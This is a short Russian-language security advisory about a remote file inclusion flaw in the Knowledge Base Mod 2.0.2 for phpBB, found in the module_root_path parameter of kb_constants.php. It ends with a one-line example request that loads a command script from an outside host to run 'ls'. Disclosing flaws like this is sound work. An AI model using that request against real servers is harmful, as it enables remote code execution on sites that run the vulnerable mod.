Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие
версии.
Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "module_root_path" в сценарии /includes/kb_constants.php.
Удаленный пользователь может с помощью специально сформированного запроса
выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для
удачной эксплуатации уязвимости опция "register_globals" должна быть включена.
Пример:
/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls
